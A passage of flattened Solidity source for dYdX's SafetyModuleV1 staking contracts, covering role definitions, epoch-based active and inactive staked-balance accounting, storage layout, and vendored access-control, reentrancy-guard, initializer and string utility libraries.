* @dev Defines roles used in the SafetyModuleV1 contract. The hierarchy of roles and powers
* of each role are described below.
*
* Roles:
*
* OWNER_ROLE
* | -> May add or remove addresses from any of the roles below.
* |
* +-- SLASHER_ROLE
* | -> Can slash staked token balances and withdraw those funds.
* |
* +-- EPOCH_PARAMETERS_ROLE
* | -> May set epoch parameters such as the interval, offset, and blackout window.
* |
* +-- REWARDS_RATE_ROLE
* | -> May set the emission rate of rewards.
* |
* +-- CLAIM_OPERATOR_ROLE
* | -> May claim rewards on behalf of a user.
* |
* +-- STAKE_OPERATOR_ROLE
* -> May manipulate user's staked funds (e.g. perform withdrawals on behalf of a user).
*/
abstract contract SM1Roles is SM1Storage {
bytes32 public constant OWNER_ROLE = keccak256('OWNER_ROLE');
bytes32 public constant SLASHER_ROLE = keccak256('SLASHER_ROLE');
bytes32 public constant EPOCH_PARAMETERS_ROLE = keccak256('EPOCH_PARAMETERS_ROLE');
bytes32 public constant REWARDS_RATE_ROLE = keccak256('REWARDS_RATE_ROLE');
bytes32 public constant CLAIM_OPERATOR_ROLE = keccak256('CLAIM_OPERATOR_ROLE');
bytes32 public constant STAKE_OPERATOR_ROLE = keccak256('STAKE_OPERATOR_ROLE');
function __SM1Roles_init() internal {
// Assign roles to the sender.
//
// The STAKE_OPERATOR_ROLE and CLAIM_OPERATOR_ROLE roles are not initially assigned.
// These can be assigned to other smart contracts to provide additional functionality for users.
_setupRole(OWNER_ROLE, msg.sender);
_setupRole(SLASHER_ROLE, msg.sender);
_setupRole(EPOCH_PARAMETERS_ROLE, msg.sender);
_setupRole(REWARDS_RATE_ROLE, msg.sender);
// Set OWNER_ROLE as the admin of all roles.
_setRoleAdmin(OWNER_ROLE, OWNER_ROLE);
_setRoleAdmin(SLASHER_ROLE, OWNER_ROLE);
_setRoleAdmin(EPOCH_PARAMETERS_ROLE, OWNER_ROLE);
_setRoleAdmin(REWARDS_RATE_ROLE, OWNER_ROLE);
_setRoleAdmin(CLAIM_OPERATOR_ROLE, OWNER_ROLE);
_setRoleAdmin(STAKE_OPERATOR_ROLE, OWNER_ROLE);
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol';
import { IERC20 } from '../../../interfaces/IERC20.sol';
import { SafeCast } from '../lib/SafeCast.sol';
import { SM1Types } from '../lib/SM1Types.sol';
import { SM1Rewards } from './SM1Rewards.sol';
/**
* @title SM1StakedBalances
* @author dYdX
*
* @dev Accounting of staked balances.
*
* NOTE: Functions may revert if epoch zero has not started.
*
* NOTE: All amounts dealt with in this file are denominated in staked units, which because of the
* exchange rate, may not correspond one-to-one with the underlying token. See SM1Staking.sol.
*
* STAKED BALANCE ACCOUNTING:
*
* A staked balance is in one of two states:
* - active: Earning staking rewards; cannot be withdrawn by staker; may be slashed.
* - inactive: Not earning rewards; can be withdrawn by the staker; may be slashed.
*
* A staker may have a combination of active and inactive balances. The following operations
* affect staked balances as follows:
* - deposit: Increase active balance.
* - request withdrawal: At the end of the current epoch, move some active funds to inactive.
* - withdraw: Decrease inactive balance.
* - transfer: Move some active funds to another staker.
*
* To encode the fact that a balance may be scheduled to change at the end of a certain epoch, we
* store each balance as a struct of three fields: currentEpoch, currentEpochBalance, and
* nextEpochBalance.
*
* REWARDS ACCOUNTING:
*
* Active funds earn rewards for the period of time that they remain active. This means, after
* requesting a withdrawal of some funds, those funds will continue to earn rewards until the end
* of the epoch. For example:
*
* epoch: n n + 1 n + 2 n + 3
* | | | |
* +----------+----------+----------+-----...
* ^ t_0: User makes a deposit.
* ^ t_1: User requests a withdrawal of all funds.
* ^ t_2: The funds change state from active to inactive.
*
* In the above scenario, the user would earn rewards for the period from t_0 to t_2, varying
* with the total staked balance in that period. If the user only request a withdrawal for a part
* of their balance, then the remaining balance would continue earning rewards beyond t_2.
*
* User rewards must be settled via SM1Rewards any time a user's active balance changes. Special
* attention is paid to the the epoch boundaries, where funds may have transitioned from active
* to inactive.
*
* SETTLEMENT DETAILS:
*
* Internally, this module uses the following types of operations on stored balances:
* - Load: Loads a balance, while applying settlement logic internally to get the
* up-to-date result. Returns settlement results without updating state.
* - Store: Stores a balance.
* - Load-for-update: Performs a load and applies updates as needed to rewards accounting.
* Since this is state-changing, it must be followed by a store operation.
* - Settle: Performs load-for-update and store operations.
*
* This module is responsible for maintaining the following invariants to ensure rewards are
* calculated correctly:
* - When an active balance is loaded for update, if a rollover occurs from one epoch to the
* next, the rewards index must be settled up to the boundary at which the rollover occurs.
* - Because the global rewards index is needed to update the user rewards index, the total
* active balance must be settled before any staker balances are settled or loaded for update.
* - A staker's balance must be settled before their rewards are settled.
*/
abstract contract SM1StakedBalances is
SM1Rewards
{
using SafeCast for uint256;
using SafeMath for uint256;
// ============ Constructor ============
constructor(
IERC20 rewardsToken,
address rewardsTreasury,
uint256 distributionStart,
uint256 distributionEnd
)
SM1Rewards(rewardsToken, rewardsTreasury, distributionStart, distributionEnd)
{}
// ============ Public Functions ============
/**
* @notice Get the current active balance of a staker.
*/
function getActiveBalanceCurrentEpoch(
address staker
)
public
view
returns (uint256)
{
if (!hasEpochZeroStarted()) {
return 0;
}
(SM1Types.StoredBalance memory balance, , , ) = _loadActiveBalance(
_ACTIVE_BALANCES_[staker]
);
return uint256(balance.currentEpochBalance);
}
/**
* @notice Get the next epoch active balance of a staker.
*/
function getActiveBalanceNextEpoch(
address staker
)
public
view
returns (uint256)
{
if (!hasEpochZeroStarted()) {
return 0;
}
(SM1Types.StoredBalance memory balance, , , ) = _loadActiveBalance(
_ACTIVE_BALANCES_[staker]
);
return uint256(balance.nextEpochBalance);
}
/**
* @notice Get the current total active balance.
*/
function getTotalActiveBalanceCurrentEpoch()
public
view
returns (uint256)
{
if (!hasEpochZeroStarted()) {
return 0;
}
(SM1Types.StoredBalance memory balance, , , ) = _loadActiveBalance(
_TOTAL_ACTIVE_BALANCE_
);
return uint256(balance.currentEpochBalance);
}
/**
* @notice Get the next epoch total active balance.
*/
function getTotalActiveBalanceNextEpoch()
public
view
returns (uint256)
{
if (!hasEpochZeroStarted()) {
return 0;
}
(SM1Types.StoredBalance memory balance, , , ) = _loadActiveBalance(
_TOTAL_ACTIVE_BALANCE_
);
return uint256(balance.nextEpochBalance);
}
/**
* @notice Get the current inactive balance of a staker.
* @dev The balance is converted via the index to token units.
*/
function getInactiveBalanceCurrentEpoch(
address staker
)
public
view
returns (uint256)
{
if (!hasEpochZeroStarted()) {
return 0;
}
SM1Types.StoredBalance memory balance = _loadInactiveBalance(_INACTIVE_BALANCES_[staker]);
return uint256(balance.currentEpochBalance);
}
/**
* @notice Get the next epoch inactive balance of a staker.
* @dev The balance is converted via the index to token units.
*/
function getInactiveBalanceNextEpoch(
address staker
)
public
view
returns (uint256)
{
if (!hasEpochZeroStarted()) {
return 0;
}
SM1Types.StoredBalance memory balance = _loadInactiveBalance(_INACTIVE_BALANCES_[staker]);
return uint256(balance.nextEpochBalance);
}
/**
* @notice Get the current total inactive balance.
*/
function getTotalInactiveBalanceCurrentEpoch()
public
view
returns (uint256)
{
if (!hasEpochZeroStarted()) {
return 0;
}
SM1Types.StoredBalance memory balance = _loadInactiveBalance(_TOTAL_INACTIVE_BALANCE_);
return uint256(balance.currentEpochBalance);
}
/**
* @notice Get the next epoch total inactive balance.
*/
function getTotalInactiveBalanceNextEpoch()
public
view
returns (uint256)
{
if (!hasEpochZeroStarted()) {
return 0;
}
SM1Types.StoredBalance memory balance = _loadInactiveBalance(_TOTAL_INACTIVE_BALANCE_);
return uint256(balance.nextEpochBalance);
}
/**
* @notice Get the current transferable balance for a user. The user can
* only transfer their balance that is not currently inactive or going to be
* inactive in the next epoch. Note that this means the user's transferable funds
* are their active balance of the next epoch.
*
* @param account The account to get the transferable balance of.
*
* @return The user's transferable balance.
*/
function getTransferableBalance(
address account
)
public
view
returns (uint256)
{
return getActiveBalanceNextEpoch(account);
}
// ============ Internal Functions ============
function _increaseCurrentAndNextActiveBalance(
address staker,
uint256 amount
)
internal
{
// Always settle total active balance before settling a staker active balance.
uint256 oldTotalBalance = _increaseCurrentAndNextBalances(address(0), true, amount);
uint256 oldUserBalance = _increaseCurrentAndNextBalances(staker, true, amount);
// When an active balance changes at current timestamp, settle rewards to the current timestamp.
_settleUserRewardsUpToNow(staker, oldUserBalance, oldTotalBalance);
}
function _moveNextBalanceActiveToInactive(
address staker,
uint256 amount
)
internal
{
// Decrease the active balance for the next epoch.
// Always settle total active balance before settling a staker active balance.
_decreaseNextBalance(address(0), true, amount);
_decreaseNextBalance(staker, true, amount);
// Increase the inactive balance for the next epoch.
_increaseNextBalance(address(0), false, amount);
_increaseNextBalance(staker, false, amount);
// Note that we don't need to settle rewards since the current active balance did not change.
}
function _transferCurrentAndNextActiveBalance(
address sender,
address recipient,
uint256 amount
)
internal
{
// Always settle total active balance before settling a staker active balance.
uint256 totalBalance = _settleTotalActiveBalance();
// Move current and next active balances from sender to recipient.
uint256 oldSenderBalance = _decreaseCurrentAndNextBalances(sender, true, amount);
uint256 oldRecipientBalance = _increaseCurrentAndNextBalances(recipient, true, amount);
// When an active balance changes at current timestamp, settle rewards to the current timestamp.
_settleUserRewardsUpToNow(sender, oldSenderBalance, totalBalance);
_settleUserRewardsUpToNow(recipient, oldRecipientBalance, totalBalance);
}
function _decreaseCurrentAndNextInactiveBalance(
address staker,
uint256 amount
)
internal
{
// Decrease the inactive balance for the next epoch.
_decreaseCurrentAndNextBalances(address(0), false, amount);
_decreaseCurrentAndNextBalances(staker, false, amount);
// Note that we don't settle rewards since active balances are not affected.
}
function _settleTotalActiveBalance()
internal
returns (uint256)
{
return _settleBalance(address(0), true);
}
function _settleAndClaimRewards(
address staker,
address recipient
)
internal
returns (uint256)
{
// Always settle total active balance before settling a staker active balance.
uint256 totalBalance = _settleTotalActiveBalance();
// Always settle staker active balance before settling staker rewards.
uint256 userBalance = _settleBalance(staker, true);
// Settle rewards balance since we want to claim the full accrued amount.
_settleUserRewardsUpToNow(staker, userBalance, totalBalance);
// Claim rewards balance.
return _claimRewards(staker, recipient);
}
// ============ Private Functions ============
/**
* @dev Load a balance for update and then store it.
*/
function _settleBalance(
address maybeStaker,
bool isActiveBalance
)
private
returns (uint256)
{
SM1Types.StoredBalance storage balancePtr = _getBalancePtr(maybeStaker, isActiveBalance);
SM1Types.StoredBalance memory balance =
_loadBalanceForUpdate(balancePtr, maybeStaker, isActiveBalance);
uint256 currentBalance = uint256(balance.currentEpochBalance);
_storeBalance(balancePtr, balance);
return currentBalance;
}
/**
* @dev Settle a balance while applying an increase.
*/
function _increaseCurrentAndNextBalances(
address maybeStaker,
bool isActiveBalance,
uint256 amount
)
private
returns (uint256)
{
SM1Types.StoredBalance storage balancePtr = _getBalancePtr(maybeStaker, isActiveBalance);
SM1Types.StoredBalance memory balance =
_loadBalanceForUpdate(balancePtr, maybeStaker, isActiveBalance);
uint256 originalCurrentBalance = uint256(balance.currentEpochBalance);
balance.currentEpochBalance = originalCurrentBalance.add(amount).toUint240();
balance.nextEpochBalance = uint256(balance.nextEpochBalance).add(amount).toUint240();
_storeBalance(balancePtr, balance);
return originalCurrentBalance;
}
/**
* @dev Settle a balance while applying a decrease.
*/
function _decreaseCurrentAndNextBalances(
address maybeStaker,
bool isActiveBalance,
uint256 amount
)
private
returns (uint256)
{
SM1Types.StoredBalance storage balancePtr = _getBalancePtr(maybeStaker, isActiveBalance);
SM1Types.StoredBalance memory balance =
_loadBalanceForUpdate(balancePtr, maybeStaker, isActiveBalance);
uint256 originalCurrentBalance = uint256(balance.currentEpochBalance);
balance.currentEpochBalance = originalCurrentBalance.sub(amount).toUint240();
balance.nextEpochBalance = uint256(balance.nextEpochBalance).sub(amount).toUint240();
_storeBalance(balancePtr, balance);
return originalCurrentBalance;
}
/**
* @dev Settle a balance while applying an increase.
*/
function _increaseNextBalance(
address maybeStaker,
bool isActiveBalance,
uint256 amount
)
private
{
SM1Types.StoredBalance storage balancePtr = _getBalancePtr(maybeStaker, isActiveBalance);
SM1Types.StoredBalance memory balance =
_loadBalanceForUpdate(balancePtr, maybeStaker, isActiveBalance);
balance.nextEpochBalance = uint256(balance.nextEpochBalance).add(amount).toUint240();
_storeBalance(balancePtr, balance);
}
/**
* @dev Settle a balance while applying a decrease.
*/
function _decreaseNextBalance(
address maybeStaker,
bool isActiveBalance,
uint256 amount
)
private
{
SM1Types.StoredBalance storage balancePtr = _getBalancePtr(maybeStaker, isActiveBalance);
SM1Types.StoredBalance memory balance =
_loadBalanceForUpdate(balancePtr, maybeStaker, isActiveBalance);
balance.nextEpochBalance = uint256(balance.nextEpochBalance).sub(amount).toUint240();
_storeBalance(balancePtr, balance);
}
function _getBalancePtr(
address maybeStaker,
bool isActiveBalance
)
private
view
returns (SM1Types.StoredBalance storage)
{
// Active.
if (isActiveBalance) {
if (maybeStaker != address(0)) {
return _ACTIVE_BALANCES_[maybeStaker];
}
return _TOTAL_ACTIVE_BALANCE_;
}
// Inactive.
if (maybeStaker != address(0)) {
return _INACTIVE_BALANCES_[maybeStaker];
}
return _TOTAL_INACTIVE_BALANCE_;
}
/**
* @dev Load a balance for updating.
*
* IMPORTANT: This function may modify state, and so the balance MUST be stored afterwards.
* - For active balances:
* - If a rollover occurs, rewards are settled up to the epoch boundary.
*
* @param balancePtr A storage pointer to the balance.
* @param maybeStaker The user address, or address(0) to update total balance.
* @param isActiveBalance Whether the balance is an active balance.
*/
function _loadBalanceForUpdate(
SM1Types.StoredBalance storage balancePtr,
address maybeStaker,
bool isActiveBalance
)
private
returns (SM1Types.StoredBalance memory)
{
// Active balance.
if (isActiveBalance) {
(
SM1Types.StoredBalance memory balance,
uint256 beforeRolloverEpoch,
uint256 beforeRolloverBalance,
bool didRolloverOccur
) = _loadActiveBalance(balancePtr);
if (didRolloverOccur) {
// Handle the effect of the balance rollover on rewards. We must partially settle the index
// up to the epoch boundary where the change in balance occurred. We pass in the balance
// from before the boundary.
if (maybeStaker == address(0)) {
// If it's the total active balance...
_settleGlobalIndexUpToEpoch(beforeRolloverBalance, beforeRolloverEpoch);
} else {
// If it's a user active balance...
_settleUserRewardsUpToEpoch(maybeStaker, beforeRolloverBalance, beforeRolloverEpoch);
}
}
return balance;
}
// Inactive balance.
return _loadInactiveBalance(balancePtr);
}
function _loadActiveBalance(
SM1Types.StoredBalance storage balancePtr
)
private
view
returns (
SM1Types.StoredBalance memory,
uint256,
uint256,
bool
)
{
SM1Types.StoredBalance memory balance = balancePtr;
// Return these as they may be needed for rewards settlement.
uint256 beforeRolloverEpoch = uint256(balance.currentEpoch);
uint256 beforeRolloverBalance = uint256(balance.currentEpochBalance);
bool didRolloverOccur = false;
// Roll the balance forward if needed.
uint256 currentEpoch = getCurrentEpoch();
if (currentEpoch > uint256(balance.currentEpoch)) {
didRolloverOccur = balance.currentEpochBalance != balance.nextEpochBalance;
balance.currentEpoch = currentEpoch.toUint16();
balance.currentEpochBalance = balance.nextEpochBalance;
}
return (balance, beforeRolloverEpoch, beforeRolloverBalance, didRolloverOccur);
}
function _loadInactiveBalance(
SM1Types.StoredBalance storage balancePtr
)
private
view
returns (SM1Types.StoredBalance memory)
{
SM1Types.StoredBalance memory balance = balancePtr;
// Roll the balance forward if needed.
uint256 currentEpoch = getCurrentEpoch();
if (currentEpoch > uint256(balance.currentEpoch)) {
balance.currentEpoch = currentEpoch.toUint16();
balance.currentEpochBalance = balance.nextEpochBalance;
}
return balance;
}
/**
* @dev Store a balance.
*/
function _storeBalance(
SM1Types.StoredBalance storage balancePtr,
SM1Types.StoredBalance memory balance
)
private
{
// Note: This should use a single `sstore` when compiler optimizations are enabled.
balancePtr.currentEpoch = balance.currentEpoch;
balancePtr.currentEpochBalance = balance.currentEpochBalance;
balancePtr.nextEpochBalance = balance.nextEpochBalance;
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import {
AccessControlUpgradeable
} from '../../../dependencies/open-zeppelin/AccessControlUpgradeable.sol';
import { ReentrancyGuard } from '../../../utils/ReentrancyGuard.sol';
import { VersionedInitializable } from '../../../utils/VersionedInitializable.sol';
import { SM1Types } from '../lib/SM1Types.sol';
/**
* @title SM1Storage
* @author dYdX
*
* @dev Storage contract. Contains or inherits from all contract with storage.
*/
abstract contract SM1Storage is
AccessControlUpgradeable,
ReentrancyGuard,
VersionedInitializable
{
// ============ Epoch Schedule ============
/// @dev The parameters specifying the function from timestamp to epoch number.
SM1Types.EpochParameters internal _EPOCH_PARAMETERS_;
/// @dev The period of time at the end of each epoch in which withdrawals cannot be requested.
uint256 internal _BLACKOUT_WINDOW_;
// ============ Staked Token ERC20 ============
/// @dev Allowances for ERC-20 transfers.
mapping(address => mapping(address => uint256)) internal _ALLOWANCES_;
// ============ Governance Power Delegation ============
/// @dev Domain separator for EIP-712 signatures.
bytes32 internal _DOMAIN_SEPARATOR_;
/// @dev Mapping from (owner) => (next valid nonce) for EIP-712 signatures.
mapping(address => uint256) internal _NONCES_;
/// @dev Snapshots and delegates for governance voting power.
mapping(address => mapping(uint256 => SM1Types.Snapshot)) internal _VOTING_SNAPSHOTS_;
mapping(address => uint256) internal _VOTING_SNAPSHOT_COUNTS_;
mapping(address => address) internal _VOTING_DELEGATES_;
/// @dev Snapshots and delegates for governance proposition power.
mapping(address => mapping(uint256 => SM1Types.Snapshot)) internal _PROPOSITION_SNAPSHOTS_;
mapping(address => uint256) internal _PROPOSITION_SNAPSHOT_COUNTS_;
mapping(address => address) internal _PROPOSITION_DELEGATES_;
// ============ Rewards Accounting ============
/// @dev The emission rate of rewards.
uint256 internal _REWARDS_PER_SECOND_;
/// @dev The cumulative rewards earned per staked token. (Shared storage slot.)
uint224 internal _GLOBAL_INDEX_;
/// @dev The timestamp at which the global index was last updated. (Shared storage slot.)
uint32 internal _GLOBAL_INDEX_TIMESTAMP_;
/// @dev The value of the global index when the user's staked balance was last updated.
mapping(address => uint256) internal _USER_INDEXES_;
/// @dev The user's accrued, unclaimed rewards (as of the last update to the user index).
mapping(address => uint256) internal _USER_REWARDS_BALANCES_;
/// @dev The value of the global index at the end of a given epoch.
mapping(uint256 => uint256) internal _EPOCH_INDEXES_;
// ============ Staker Accounting ============
/// @dev The active balance by staker.
mapping(address => SM1Types.StoredBalance) internal _ACTIVE_BALANCES_;
/// @dev The total active balance of stakers.
SM1Types.StoredBalance internal _TOTAL_ACTIVE_BALANCE_;
/// @dev The inactive balance by staker.
mapping(address => SM1Types.StoredBalance) internal _INACTIVE_BALANCES_;
/// @dev The total inactive balance of stakers.
SM1Types.StoredBalance internal _TOTAL_INACTIVE_BALANCE_;
// ============ Exchange Rate ============
/// @dev The value of one underlying token, in the units used for staked balances, denominated
/// as a mutiple of EXCHANGE_RATE_BASE for additional precision.
uint256 internal _EXCHANGE_RATE_;
/// @dev Historical snapshots of the exchange rate, in each block that it has changed.
mapping(uint256 => SM1Types.Snapshot) internal _EXCHANGE_RATE_SNAPSHOTS_;
/// @dev Number of snapshots of the exchange rate.
uint256 internal _EXCHANGE_RATE_SNAPSHOT_COUNT_;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
import './Context.sol';
import './Strings.sol';
import './ERC165.sol';
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Context, IAccessControlUpgradeable, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(
bytes32 indexed role,
bytes32 indexed previousAdminRole,
bytes32 indexed newAdminRole
);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return
interfaceId == type(IAccessControlUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
'AccessControl: account ',
Strings.toHexString(uint160(account), 20),
' is missing role ',
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account)
public
virtual
override
onlyRole(getRoleAdmin(role))
{
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account)
public
virtual
override
onlyRole(getRoleAdmin(role))
{
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), 'AccessControl: can only renounce roles for self');
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.5;
pragma abicoder v2;
/**
* @title ReentrancyGuard
* @author dYdX
*
* @dev Updated ReentrancyGuard library designed to be used with Proxy Contracts.
*/
abstract contract ReentrancyGuard {
uint256 private constant NOT_ENTERED = 1;
uint256 private constant ENTERED = uint256(int256(-1));
uint256 private _STATUS_;
constructor()
internal
{
_STATUS_ = NOT_ENTERED;
}
modifier nonReentrant() {
require(_STATUS_ != ENTERED, 'ReentrancyGuard: reentrant call');
_STATUS_ = ENTERED;
_;
_STATUS_ = NOT_ENTERED;
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
/**
* @title VersionedInitializable
* @author Aave, inspired by the OpenZeppelin Initializable contract
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*
*/
abstract contract VersionedInitializable {
/**
* @dev Indicates that the contract has been initialized.
*/
uint256 internal lastInitializedRevision = 0;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
uint256 revision = getRevision();
require(revision > lastInitializedRevision, "Contract instance has already been initialized");
lastInitializedRevision = revision;
_;
}
/// @dev returns the revision number of the contract.
/// Needs to be defined in the inherited class as a constant.
function getRevision() internal pure virtual returns(uint256);
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = '0123456789abcdef';
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return '0';
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return '0x00';
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = '0';
buffer[1] = 'x';
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, 'Strings: hex length insufficient');
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
import './IERC165.sol';
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
